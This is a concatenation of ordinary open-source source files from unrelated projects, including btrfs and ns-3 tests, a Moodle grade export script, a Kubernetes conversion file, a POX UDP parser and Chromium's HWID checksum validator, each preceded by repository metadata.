test_msg("Pages in range were not all locked\n"); goto out_bits; } ret = 0; out_bits: clear_extent_bits(&tmp, 0, total_dirty - 1, (unsigned)-1, GFP_KERNEL); out: if (locked_page) put_page(locked_page); process_page_range(inode, 0, total_dirty - 1, PROCESS_UNLOCK | PROCESS_RELEASE); iput(inode); return ret; } static int __test_eb_bitmaps(unsigned long *bitmap, struct extent_buffer *eb, unsigned long len) { unsigned long i, x; memset(bitmap, 0, len); memset_extent_buffer(eb, 0, 0, len); if (memcmp_extent_buffer(eb, bitmap, 0, len) != 0) { test_msg("Bitmap was not zeroed\n"); return -EINVAL; } bitmap_set(bitmap, 0, len * BITS_PER_BYTE); extent_buffer_bitmap_set(eb, 0, 0, len * BITS_PER_BYTE); if (memcmp_extent_buffer(eb, bitmap, 0, len) != 0) { test_msg("Setting all bits failed\n"); return -EINVAL; } bitmap_clear(bitmap, 0, len * BITS_PER_BYTE); extent_buffer_bitmap_clear(eb, 0, 0, len * BITS_PER_BYTE); if (memcmp_extent_buffer(eb, bitmap, 0, len) != 0) { test_msg("Clearing all bits failed\n"); return -EINVAL; } bitmap_set(bitmap, (PAGE_SIZE - sizeof(long) / 2) * BITS_PER_BYTE, sizeof(long) * BITS_PER_BYTE); extent_buffer_bitmap_set(eb, PAGE_SIZE - sizeof(long) / 2, 0, sizeof(long) * BITS_PER_BYTE); if (memcmp_extent_buffer(eb, bitmap, 0, len) != 0) { test_msg("Setting straddling pages failed\n"); return -EINVAL; } bitmap_set(bitmap, 0, len * BITS_PER_BYTE); bitmap_clear(bitmap, (PAGE_SIZE - sizeof(long) / 2) * BITS_PER_BYTE, sizeof(long) * BITS_PER_BYTE); extent_buffer_bitmap_set(eb, 0, 0, len * BITS_PER_BYTE); extent_buffer_bitmap_clear(eb, PAGE_SIZE - sizeof(long) / 2, 0, sizeof(long) * BITS_PER_BYTE); if (memcmp_extent_buffer(eb, bitmap, 0, len) != 0) { test_msg("Clearing straddling pages failed\n"); return -EINVAL; } /* * Generate a wonky pseudo-random bit pattern for the sake of not using * something repetitive that could miss some hypothetical off-by-n bug. */ x = 0; for (i = 0; i < len / sizeof(long); i++) { x = (0x19660dULL * (u64)x + 0x3c6ef35fULL) & 0xffffffffUL; bitmap[i] = x; } write_extent_buffer(eb, bitmap, 0, len); for (i = 0; i < len * BITS_PER_BYTE; i++) { int bit, bit1; bit = !!test_bit(i, bitmap); bit1 = !!extent_buffer_test_bit(eb, 0, i); if (bit1 != bit) { test_msg("Testing bit pattern failed\n"); return -EINVAL; } bit1 = !!extent_buffer_test_bit(eb, i / BITS_PER_BYTE, i % BITS_PER_BYTE); if (bit1 != bit) { test_msg("Testing bit pattern with offset failed\n"); return -EINVAL; } } return 0; } static int test_eb_bitmaps(void) { unsigned long len = PAGE_SIZE * 4; unsigned long *bitmap; struct extent_buffer *eb; int ret; test_msg("Running extent buffer bitmap tests\n"); bitmap = kmalloc(len, GFP_KERNEL); if (!bitmap) { test_msg("Couldn't allocate test bitmap\n"); return -ENOMEM; } eb = __alloc_dummy_extent_buffer(NULL, 0, len); if (!eb) { test_msg("Couldn't allocate test extent buffer\n"); kfree(bitmap); return -ENOMEM; } ret = __test_eb_bitmaps(bitmap, eb, len); if (ret) goto out; /* Do it over again with an extent buffer which isn't page-aligned. */ free_extent_buffer(eb); eb = __alloc_dummy_extent_buffer(NULL, PAGE_SIZE / 2, len); if (!eb) { test_msg("Couldn't allocate test extent buffer\n"); kfree(bitmap); return -ENOMEM; } ret = __test_eb_bitmaps(bitmap, eb, len); out: free_extent_buffer(eb); kfree(bitmap); return ret; } int btrfs_test_extent_io(void) { int ret; test_msg("Running extent I/O tests\n"); ret = test_find_delalloc(); if (ret) goto out; ret = test_eb_bitmaps(); out: test_msg("Extent I/O tests finished\n"); return ret; }
gpl-2.0
Viyom/Implementation-of-TCP-Delayed-Congestion-Response--DCR--in-ns-3
src/flow-monitor/test/histogram-test-suite.cc
2452
/* -*- Mode:C++; c-file-style:"gnu"; indent-tabs-mode:nil; -*- */ // // Copyright (c) 2009 INESC Porto // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation; // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // // Author: Pedro Fortuna <[email protected]> <[email protected]> // #include "ns3/histogram.h" #include "ns3/test.h" using namespace ns3; /** * \ingroup flow-monitor * \defgroup flow-monitor-test FlowMonitor module tests */ /** * \ingroup flow-monitor-test * \ingroup tests * * \brief FlowMonitor Histogram Test */ class HistogramTestCase : public ns3::TestCase { private: public: HistogramTestCase (); virtual void DoRun (void); }; HistogramTestCase::HistogramTestCase () : ns3::TestCase ("Histogram") { } void HistogramTestCase::DoRun (void) { Histogram h0 (3.5); // Testing floating-point bin widths { for (int i=1; i <= 10; i++) { h0.AddValue (3.4); } for (int i=1; i <= 5; i++) { h0.AddValue (3.6); } NS_TEST_EXPECT_MSG_EQ_TOL (h0.GetBinWidth (0), 3.5, 1e-6, ""); NS_TEST_EXPECT_MSG_EQ (h0.GetNBins (), 2, ""); NS_TEST_EXPECT_MSG_EQ_TOL (h0.GetBinStart (1), 3.5, 1e-6, ""); NS_TEST_EXPECT_MSG_EQ (h0.GetBinCount (0), 10, ""); NS_TEST_EXPECT_MSG_EQ (h0.GetBinCount (1), 5, ""); } { // Testing bin expansion h0.AddValue (74.3); NS_TEST_EXPECT_MSG_EQ (h0.GetNBins (), 22, ""); NS_TEST_EXPECT_MSG_EQ (h0.GetBinCount (21), 1, ""); } } /** * \ingroup flow-monitor-test * \ingroup tests * * \brief FlowMonitor Histogram TestSuite */ class HistogramTestSuite : public TestSuite { public: HistogramTestSuite (); }; HistogramTestSuite::HistogramTestSuite () : TestSuite ("histogram", UNIT) { AddTestCase (new HistogramTestCase, TestCase::QUICK); } static HistogramTestSuite g_HistogramTestSuite; //!< Static variable for test initialization
gpl-2.0
dhamma-dev/SEA
web/grade/export/ods/export.php
2057
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. require_once '../../../config.php'; require_once $CFG->dirroot.'/grade/export/lib.php'; require_once 'grade_export_ods.php'; $id = required_param('id', PARAM_INT); // course id $groupid = optional_param('groupid', 0, PARAM_INT); $itemids = required_param('itemids', PARAM_RAW); $export_feedback = optional_param('export_feedback', 0, PARAM_BOOL); $updatedgradesonly = optional_param('updatedgradesonly', false, PARAM_BOOL); $displaytype = optional_param('displaytype', $CFG->grade_export_displaytype, PARAM_INT); $decimalpoints = optional_param('decimalpoints', $CFG->grade_export_decimalpoints, PARAM_INT); if (!$course = $DB->get_record('course', array('id'=>$id))) { print_error('nocourseid'); } require_login($course); $context = get_context_instance(CONTEXT_COURSE, $id); require_capability('moodle/grade:export', $context); require_capability('gradeexport/ods:view', $context); if (groups_get_course_groupmode($COURSE) == SEPARATEGROUPS and !has_capability('moodle/site:accessallgroups', $context)) { if (!groups_is_member($groupid, $USER->id)) { print_error('cannotaccessgroup', 'grades'); } } // print all the exported data here $export = new grade_export_ods($course, $groupid, $itemids, $export_feedback, $updatedgradesonly, $displaytype, $decimalpoints); $export->print_grades();
gpl-3.0
eskaaren/koha-dev
Koha/Schema/Result/Permission.pm
1954
use utf8; package Koha::Schema::Result::Permission; # Created by DBIx::Class::Schema::Loader # DO NOT MODIFY THE FIRST PART OF THIS FILE =head1 NAME Koha::Schema::Result::Permission =cut use strict; use warnings; use base 'DBIx::Class::Core'; =head1 TABLE: C<permissions> =cut __PACKAGE__->table("permissions"); =head1 ACCESSORS =head2 module_bit data_type: 'integer' default_value: 0 is_foreign_key: 1 is_nullable: 0 =head2 code data_type: 'varchar' default_value: (empty string) is_nullable: 0 size: 64 =head2 description data_type: 'varchar' is_nullable: 1 size: 255 =cut __PACKAGE__->add_columns( "module_bit", { data_type => "integer", default_value => 0, is_foreign_key => 1, is_nullable => 0, }, "code", { data_type => "varchar", default_value => "", is_nullable => 0, size => 64 }, "description", { data_type => "varchar", is_nullable => 1, size => 255 }, ); =head1 PRIMARY KEY =over 4 =item * L</module_bit> =item * L</code> =back =cut __PACKAGE__->set_primary_key("module_bit", "code"); =head1 RELATIONS =head2 module_bit Type: belongs_to Related object: L<Koha::Schema::Result::Userflag> =cut __PACKAGE__->belongs_to( "module_bit", "Koha::Schema::Result::Userflag", { bit => "module_bit" }, { is_deferrable => 1, on_delete => "CASCADE", on_update => "CASCADE" }, ); =head2 user_permissions Type: has_many Related object: L<Koha::Schema::Result::UserPermission> =cut __PACKAGE__->has_many( "user_permissions", "Koha::Schema::Result::UserPermission", { "foreign.code" => "self.code", "foreign.module_bit" => "self.module_bit", }, { cascade_copy => 0, cascade_delete => 0 }, ); # Created by DBIx::Class::Schema::Loader v0.07025 @ 2013-10-14 20:56:21 # DO NOT MODIFY THIS OR ANYTHING ABOVE! md5sum:Ut3lzlxoPPoIIwmhJViV1Q # You can replace this text with custom content, and it will be preserved on regeneration 1;
gpl-3.0
xuzha/aws-sdk-java
aws-java-sdk-cloudformation/src/main/java/com/amazonaws/services/cloudformation/model/ResourceStatus.java
2846
/* * Copyright 2010-2015 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ package com.amazonaws.services.cloudformation.model; /** * Resource Status */ public enum ResourceStatus { CREATE_IN_PROGRESS("CREATE_IN_PROGRESS"), CREATE_FAILED("CREATE_FAILED"), CREATE_COMPLETE("CREATE_COMPLETE"), DELETE_IN_PROGRESS("DELETE_IN_PROGRESS"), DELETE_FAILED("DELETE_FAILED"), DELETE_COMPLETE("DELETE_COMPLETE"), DELETE_SKIPPED("DELETE_SKIPPED"), UPDATE_IN_PROGRESS("UPDATE_IN_PROGRESS"), UPDATE_FAILED("UPDATE_FAILED"), UPDATE_COMPLETE("UPDATE_COMPLETE"); private String value; private ResourceStatus(String value) { this.value = value; } @Override public String toString() { return this.value; } /** * Use this in place of valueOf. * * @param value * real value * @return ResourceStatus corresponding to the value */ public static ResourceStatus fromValue(String value) { if (value == null || "".equals(value)) { throw new IllegalArgumentException("Value cannot be null or empty!"); } else if ("CREATE_IN_PROGRESS".equals(value)) { return ResourceStatus.CREATE_IN_PROGRESS; } else if ("CREATE_FAILED".equals(value)) { return ResourceStatus.CREATE_FAILED; } else if ("CREATE_COMPLETE".equals(value)) { return ResourceStatus.CREATE_COMPLETE; } else if ("DELETE_IN_PROGRESS".equals(value)) { return ResourceStatus.DELETE_IN_PROGRESS; } else if ("DELETE_FAILED".equals(value)) { return ResourceStatus.DELETE_FAILED; } else if ("DELETE_COMPLETE".equals(value)) { return ResourceStatus.DELETE_COMPLETE; } else if ("DELETE_SKIPPED".equals(value)) { return ResourceStatus.DELETE_SKIPPED; } else if ("UPDATE_IN_PROGRESS".equals(value)) { return ResourceStatus.UPDATE_IN_PROGRESS; } else if ("UPDATE_FAILED".equals(value)) { return ResourceStatus.UPDATE_FAILED; } else if ("UPDATE_COMPLETE".equals(value)) { return ResourceStatus.UPDATE_COMPLETE; } else { throw new IllegalArgumentException("Cannot create enum from " + value + " value!"); } } }
apache-2.0
tknandu/CommonsMath_Modifed
math (trunk)/src/test/java/org/apache/commons/math3/optimization/general/RandomCirclePointGenerator.java
3637
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.commons.math3.optimization.general; import org.apache.commons.math3.random.RandomGenerator; import org.apache.commons.math3.random.Well44497b; import org.apache.commons.math3.util.MathUtils; import org.apache.commons.math3.util.FastMath; import org.apache.commons.math3.distribution.RealDistribution; import org.apache.commons.math3.distribution.UniformRealDistribution; import org.apache.commons.math3.distribution.NormalDistribution; import org.apache.commons.math3.geometry.euclidean.twod.Vector2D; /** * Factory for generating a cloud of points that approximate a circle. */ public class RandomCirclePointGenerator { /** RNG for the x-coordinate of the center. */ private final RealDistribution cX; /** RNG for the y-coordinate of the center. */ private final RealDistribution cY; /** RNG for the parametric position of the point. */ private final RealDistribution tP; /** Radius of the circle. */ private final double radius; /** * @param x Abscissa of the circle center. * @param y Ordinate of the circle center. * @param radius Radius of the circle. * @param xSigma Error on the x-coordinate of the circumference points. * @param ySigma Error on the y-coordinate of the circumference points. * @param seed RNG seed. */ public RandomCirclePointGenerator(double x, double y, double radius, double xSigma, double ySigma, long seed) { final RandomGenerator rng = new Well44497b(seed); this.radius = radius; cX = new NormalDistribution(rng, x, xSigma, NormalDistribution.DEFAULT_INVERSE_ABSOLUTE_ACCURACY); cY = new NormalDistribution(rng, y, ySigma, NormalDistribution.DEFAULT_INVERSE_ABSOLUTE_ACCURACY); tP = new UniformRealDistribution(rng, 0, MathUtils.TWO_PI, UniformRealDistribution.DEFAULT_INVERSE_ABSOLUTE_ACCURACY); } /** * Point generator. * * @param n Number of points to create. * @return the cloud of {@code n} points. */ public Vector2D[] generate(int n) { final Vector2D[] cloud = new Vector2D[n]; for (int i = 0; i < n; i++) { cloud[i] = create(); } return cloud; } /** * Create one point. * * @return a point. */ private Vector2D create() { final double t = tP.sample(); final double pX = cX.sample() + radius * FastMath.cos(t); final double pY = cY.sample() + radius * FastMath.sin(t); return new Vector2D(pX, pY); } }
apache-2.0
srijanmishra/RouteFlow
pox/pox/lib/packet/udp.py
5386
# Copyright 2011 James McCauley # Copyright 2008 (C) Nicira, Inc. # # This file is part of POX. # # POX is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # POX is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with POX. If not, see <http://www.gnu.org/licenses/>. # This file is derived from the packet library in NOX, which was # developed by Nicira, Inc. #====================================================================== # # UDP Header Format # # 0 7 8 15 16 23 24 31 # +--------+--------+--------+--------+ # | Source | Destination | # | Port | Port | # +--------+--------+--------+--------+ # | | | # | Length | Checksum | # +--------+--------+--------+--------+ # | # | data octets ... # +---------------- ... #====================================================================== import struct from packet_utils import * from dhcp import * from dns import * from rip import * from packet_base import packet_base # We grab ipv4 later to prevent cyclic dependency #_ipv4 = None class udp(packet_base): "UDP packet struct" MIN_LEN = 8 def __init__(self, raw=None, prev=None, **kw): #global _ipv4 #if not _ipv4: # from ipv4 import ipv4 # _ipv4 = ipv4 packet_base.__init__(self) self.prev = prev self.srcport = 0 self.dstport = 0 self.len = 8 self.csum = 0 if raw is not None: self.parse(raw) self._init(kw) def __str__(self): s = '[UDP %s>%s l:%s c:%02x]' % (self.srcport, self.dstport, self.len, self.csum) return s def parse(self, raw): assert isinstance(raw, bytes) self.raw = raw dlen = len(raw) if dlen < udp.MIN_LEN: self.msg('(udp parse) warning UDP packet data too short to parse header: data len %u' % dlen) return (self.srcport, self.dstport, self.len, self.csum) \ = struct.unpack('!HHHH', raw[:udp.MIN_LEN]) self.hdr_len = udp.MIN_LEN self.payload_len = self.len - self.hdr_len self.parsed = True if self.len < udp.MIN_LEN: self.msg('(udp parse) warning invalid UDP len %u' % self.len) return if (self.dstport == dhcp.SERVER_PORT or self.dstport == dhcp.CLIENT_PORT): self.next = dhcp(raw=raw[udp.MIN_LEN:],prev=self) elif (self.dstport == dns.SERVER_PORT or self.srcport == dns.SERVER_PORT): self.next = dns(raw=raw[udp.MIN_LEN:],prev=self) elif ( (self.dstport == rip.RIP_PORT or self.srcport == rip.RIP_PORT) ): # and isinstance(self.prev, _ipv4) # and self.prev.dstip == rip.RIP2_ADDRESS ): self.next = rip(raw=raw[udp.MIN_LEN:],prev=self) elif dlen < self.len: self.msg('(udp parse) warning UDP packet data shorter than UDP len: %u < %u' % (dlen, self.len)) return else: self.payload = raw[udp.MIN_LEN:] def hdr(self, payload): self.len = len(payload) + udp.MIN_LEN self.csum = self.checksum() return struct.pack('!HHHH', self.srcport, self.dstport, self.len, self.csum) def checksum(self, unparsed=False): """ Calculates the checksum. If unparsed, calculates it on the raw, unparsed data. This is useful for validating that it is correct on an incoming packet. """ if self.prev.__class__.__name__ != 'ipv4': self.msg('packet not in ipv4, cannot calculate checksum ' + 'over psuedo-header' ) return 0 if unparsed: payload_len = len(self.raw) payload = self.raw else: if isinstance(self.next, packet_base): payload = self.next.pack() elif self.next is None: payload = bytes() else: payload = self.next payload_len = udp.MIN_LEN + len(payload) ippacket = struct.pack('!IIBBH', self.prev.srcip.toUnsigned(), self.prev.dstip.toUnsigned(), 0, self.prev.protocol, payload_len) if not unparsed: myhdr = struct.pack('!HHHH', self.srcport, self.dstport, payload_len, 0) payload = myhdr + payload r = checksum(ippacket + payload, 0, 9) return 0xffff if r == 0 else r
apache-2.0
enj/origin
vendor/k8s.io/kubernetes/pkg/controller/replicaset/config/v1alpha1/zz_generated.conversion.go
5131
// +build !ignore_autogenerated /* Copyright The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by conversion-gen. DO NOT EDIT. package v1alpha1 import ( v1 "k8s.io/apimachinery/pkg/apis/meta/v1" conversion "k8s.io/apimachinery/pkg/conversion" runtime "k8s.io/apimachinery/pkg/runtime" v1alpha1 "k8s.io/kube-controller-manager/config/v1alpha1" config "k8s.io/kubernetes/pkg/controller/replicaset/config" ) func init() { localSchemeBuilder.Register(RegisterConversions) } // RegisterConversions adds conversion functions to the given scheme. // Public to allow building arbitrary schemes. func RegisterConversions(s *runtime.Scheme) error { if err := s.AddGeneratedConversionFunc((*v1alpha1.GroupResource)(nil), (*v1.GroupResource)(nil), func(a, b interface{}, scope conversion.Scope) error { return Convert_v1alpha1_GroupResource_To_v1_GroupResource(a.(*v1alpha1.GroupResource), b.(*v1.GroupResource), scope) }); err != nil { return err } if err := s.AddGeneratedConversionFunc((*v1.GroupResource)(nil), (*v1alpha1.GroupResource)(nil), func(a, b interface{}, scope conversion.Scope) error { return Convert_v1_GroupResource_To_v1alpha1_GroupResource(a.(*v1.GroupResource), b.(*v1alpha1.GroupResource), scope) }); err != nil { return err } if err := s.AddGeneratedConversionFunc((*v1alpha1.ReplicaSetControllerConfiguration)(nil), (*config.ReplicaSetControllerConfiguration)(nil), func(a, b interface{}, scope conversion.Scope) error { return Convert_v1alpha1_ReplicaSetControllerConfiguration_To_config_ReplicaSetControllerConfiguration(a.(*v1alpha1.ReplicaSetControllerConfiguration), b.(*config.ReplicaSetControllerConfiguration), scope) }); err != nil { return err } if err := s.AddGeneratedConversionFunc((*config.ReplicaSetControllerConfiguration)(nil), (*v1alpha1.ReplicaSetControllerConfiguration)(nil), func(a, b interface{}, scope conversion.Scope) error { return Convert_config_ReplicaSetControllerConfiguration_To_v1alpha1_ReplicaSetControllerConfiguration(a.(*config.ReplicaSetControllerConfiguration), b.(*v1alpha1.ReplicaSetControllerConfiguration), scope) }); err != nil { return err } if err := s.AddConversionFunc((*config.ReplicaSetControllerConfiguration)(nil), (*v1alpha1.ReplicaSetControllerConfiguration)(nil), func(a, b interface{}, scope conversion.Scope) error { return Convert_config_ReplicaSetControllerConfiguration_To_v1alpha1_ReplicaSetControllerConfiguration(a.(*config.ReplicaSetControllerConfiguration), b.(*v1alpha1.ReplicaSetControllerConfiguration), scope) }); err != nil { return err } if err := s.AddConversionFunc((*v1alpha1.ReplicaSetControllerConfiguration)(nil), (*config.ReplicaSetControllerConfiguration)(nil), func(a, b interface{}, scope conversion.Scope) error { return Convert_v1alpha1_ReplicaSetControllerConfiguration_To_config_ReplicaSetControllerConfiguration(a.(*v1alpha1.ReplicaSetControllerConfiguration), b.(*config.ReplicaSetControllerConfiguration), scope) }); err != nil { return err } return nil } func autoConvert_v1alpha1_GroupResource_To_v1_GroupResource(in *v1alpha1.GroupResource, out *v1.GroupResource, s conversion.Scope) error { out.Group = in.Group out.Resource = in.Resource return nil } // Convert_v1alpha1_GroupResource_To_v1_GroupResource is an autogenerated conversion function. func Convert_v1alpha1_GroupResource_To_v1_GroupResource(in *v1alpha1.GroupResource, out *v1.GroupResource, s conversion.Scope) error { return autoConvert_v1alpha1_GroupResource_To_v1_GroupResource(in, out, s) } func autoConvert_v1_GroupResource_To_v1alpha1_GroupResource(in *v1.GroupResource, out *v1alpha1.GroupResource, s conversion.Scope) error { out.Group = in.Group out.Resource = in.Resource return nil } // Convert_v1_GroupResource_To_v1alpha1_GroupResource is an autogenerated conversion function. func Convert_v1_GroupResource_To_v1alpha1_GroupResource(in *v1.GroupResource, out *v1alpha1.GroupResource, s conversion.Scope) error { return autoConvert_v1_GroupResource_To_v1alpha1_GroupResource(in, out, s) } func autoConvert_v1alpha1_ReplicaSetControllerConfiguration_To_config_ReplicaSetControllerConfiguration(in *v1alpha1.ReplicaSetControllerConfiguration, out *config.ReplicaSetControllerConfiguration, s conversion.Scope) error { out.ConcurrentRSSyncs = in.ConcurrentRSSyncs return nil } func autoConvert_config_ReplicaSetControllerConfiguration_To_v1alpha1_ReplicaSetControllerConfiguration(in *config.ReplicaSetControllerConfiguration, out *v1alpha1.ReplicaSetControllerConfiguration, s conversion.Scope) error { out.ConcurrentRSSyncs = in.ConcurrentRSSyncs return nil }
apache-2.0
stephenwade/homebrew-cask
Casks/air-connect.rb
446
cask "air-connect" do version "2.0.1,26526" sha256 "e8f93fbcb626241f9cbe0f934cf9dada319f3f80399ec83558aa696988575b2a" url "https://www.avatron.com/updates/software/airconnect_mac/acmac#{version.before_comma.no_dots}.zip" name "Air Connect" homepage "https://avatron.com/get-air-connect/" livecheck do url "https://avatron.com/updates/software/airconnect_mac/appcast.xml" strategy :sparkle end app "Air Connect.app" end
bsd-2-clause
tuwien-geoweb-2015/g01-block4
node_modules/openlayers/examples/graticule.html
315
--- template: example.html title: Graticule example shortdesc: This example shows how to add a graticule overlay to a map. docs: > This example shows how to add a graticule overlay to a map. tags: "graticule" --- <div class="row-fluid"> <div class="span12"> <div id="map" class="map"></div> </div> </div>
bsd-2-clause
akutz/go
misc/cgo/testshared/testdata/iface_b/b.go
335
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package iface_b import "testshared/iface_i" //go:noinline func F() interface{} { return (*iface_i.T)(nil) } //go:noinline func G() iface_i.I { return (*iface_i.T)(nil) }
bsd-3-clause
windyuuy/opera
chromium/src/chrome/browser/chromeos/login/hwid_checker.cc
4448
// Copyright (c) 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/chromeos/login/hwid_checker.h" #include <cstdio> #include "base/chromeos/chromeos_version.h" #include "base/command_line.h" #include "base/logging.h" #include "base/strings/string_util.h" #include "chrome/browser/chromeos/system/statistics_provider.h" #include "chrome/common/chrome_switches.h" #include "chromeos/chromeos_switches.h" #include "third_party/re2/re2/re2.h" #include "third_party/zlib/zlib.h" namespace { unsigned CalculateCRC32(const std::string& data) { return static_cast<unsigned>(crc32( 0, reinterpret_cast<const Bytef*>(data.c_str()), data.length())); } std::string CalculateHWIDv2Checksum(const std::string& data) { unsigned crc32 = CalculateCRC32(data); // We take four least significant decimal digits of CRC-32. char checksum[5]; int snprintf_result = snprintf(checksum, 5, "%04u", crc32 % 10000); LOG_ASSERT(snprintf_result == 4); return checksum; } bool IsCorrectHWIDv2(const std::string& hwid) { std::string body; std::string checksum; if (!RE2::FullMatch(hwid, "([\\s\\S]*) (\\d{4})", &body, &checksum)) return false; return CalculateHWIDv2Checksum(body) == checksum; } bool IsExceptionalHWID(const std::string& hwid) { return RE2::PartialMatch(hwid, "^(SPRING [A-D])|(FALCO A)"); } std::string CalculateExceptionalHWIDChecksum(const std::string& data) { static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"; unsigned crc32 = CalculateCRC32(data); // We take 10 least significant bits of CRC-32 and encode them in 2 characters // using Base32 alphabet. std::string checksum; checksum += base32_alphabet[(crc32 >> 5) & 0x1f]; checksum += base32_alphabet[crc32 & 0x1f]; return checksum; } bool IsCorrectExceptionalHWID(const std::string& hwid) { if (!IsExceptionalHWID(hwid)) return false; std::string bom; if (!RE2::FullMatch(hwid, "[A-Z0-9]+ ((?:[A-Z2-7]{4}-)*[A-Z2-7]{1,4})", &bom)) return false; if (bom.length() < 2) return false; std::string hwid_without_dashes; RemoveChars(hwid, "-", &hwid_without_dashes); LOG_ASSERT(hwid_without_dashes.length() >= 2); std::string not_checksum = hwid_without_dashes.substr(0, hwid_without_dashes.length() - 2); std::string checksum = hwid_without_dashes.substr(hwid_without_dashes.length() - 2); return CalculateExceptionalHWIDChecksum(not_checksum) == checksum; } std::string CalculateHWIDv3Checksum(const std::string& data) { static const char base8_alphabet[] = "23456789"; static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"; unsigned crc32 = CalculateCRC32(data); // We take 8 least significant bits of CRC-32 and encode them in 2 characters. std::string checksum; checksum += base8_alphabet[(crc32 >> 5) & 0x7]; checksum += base32_alphabet[crc32 & 0x1f]; return checksum; } bool IsCorrectHWIDv3(const std::string& hwid) { if (IsExceptionalHWID(hwid)) return false; std::string regex = "([A-Z0-9]+ (?:[A-Z2-7][2-9][A-Z2-7]-)*[A-Z2-7])([2-9][A-Z2-7])"; std::string not_checksum, checksum; if (!RE2::FullMatch(hwid, regex, &not_checksum, &checksum)) return false; RemoveChars(not_checksum, "-", &not_checksum); return CalculateHWIDv3Checksum(not_checksum) == checksum; } } // anonymous namespace namespace chromeos { bool IsHWIDCorrect(const std::string& hwid) { return IsCorrectHWIDv2(hwid) || IsCorrectExceptionalHWID(hwid) || IsCorrectHWIDv3(hwid); } bool IsMachineHWIDCorrect() { #if !defined(GOOGLE_CHROME_BUILD) return true; #endif CommandLine* cmd_line = CommandLine::ForCurrentProcess(); if (cmd_line->HasSwitch(::switches::kTestType) || cmd_line->HasSwitch(chromeos::switches::kSkipHWIDCheck)) return true; if (!base::chromeos::IsRunningOnChromeOS()) return true; std::string hwid; chromeos::system::StatisticsProvider* stats = chromeos::system::StatisticsProvider::GetInstance(); if (!stats->GetMachineStatistic(chromeos::system::kHardwareClass, &hwid)) { LOG(ERROR) << "Couldn't get machine statistic 'hardware_class'."; return false; } if (!chromeos::IsHWIDCorrect(hwid)) { LOG(ERROR) << "Machine has malformed HWID '" << hwid << "'."; return false; } return true; } } // namespace chromeos
bsd-3-clause
markogresak/DefinitelyTyped
types/carbon__icons-react/es/volume--mute--filled/16.d.ts
56
export { VolumeMuteFilled16 as default } from "../../";
mit
comdiv/corefx
src/System.Linq.Expressions/tests/HelperTypes.cs
4525
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Runtime.CompilerServices; using Tests.ExpressionCompiler; namespace Tests.ExpressionCompiler { public interface I { void M(); } public class C : IEquatable<C>, I { void I.M() { } public override bool Equals(object o) { return o is C && Equals((C)o); } public bool Equals(C c) { return c != null; } public override int GetHashCode() { return 0; } } public class D : C, IEquatable<D> { public int Val; public string S; public D() { } public D(int val) : this(val, "") { } public D(int val, string s) { Val = val; S = s; } public override bool Equals(object o) { return o is D && Equals((D)o); } public bool Equals(D d) { return d != null && d.Val == Val; } public override int GetHashCode() { return Val; } } public enum E { A = 1, B = 2 } public enum El : long { A, B, C } public struct S : IEquatable<S> { public override bool Equals(object o) { return (o is S) && Equals((S)o); } public bool Equals(S other) { return true; } public override int GetHashCode() { return 0; } } public struct Sp : IEquatable<Sp> { public Sp(int i, double d) { I = i; D = d; } public int I; public double D; public override bool Equals(object o) { return (o is Sp) && Equals((Sp)o); } public bool Equals(Sp other) { return other.I == I && other.D.Equals(D); } public override int GetHashCode() { return I.GetHashCode() ^ D.GetHashCode(); } } public struct Ss : IEquatable<Ss> { public Ss(S s) { Val = s; } public S Val; public override bool Equals(object o) { return (o is Ss) && Equals((Ss)o); } public bool Equals(Ss other) { return other.Val.Equals(Val); } public override int GetHashCode() { return Val.GetHashCode(); } } public struct Sc : IEquatable<Sc> { public Sc(string s) { S = s; } public string S; public override bool Equals(object o) { return 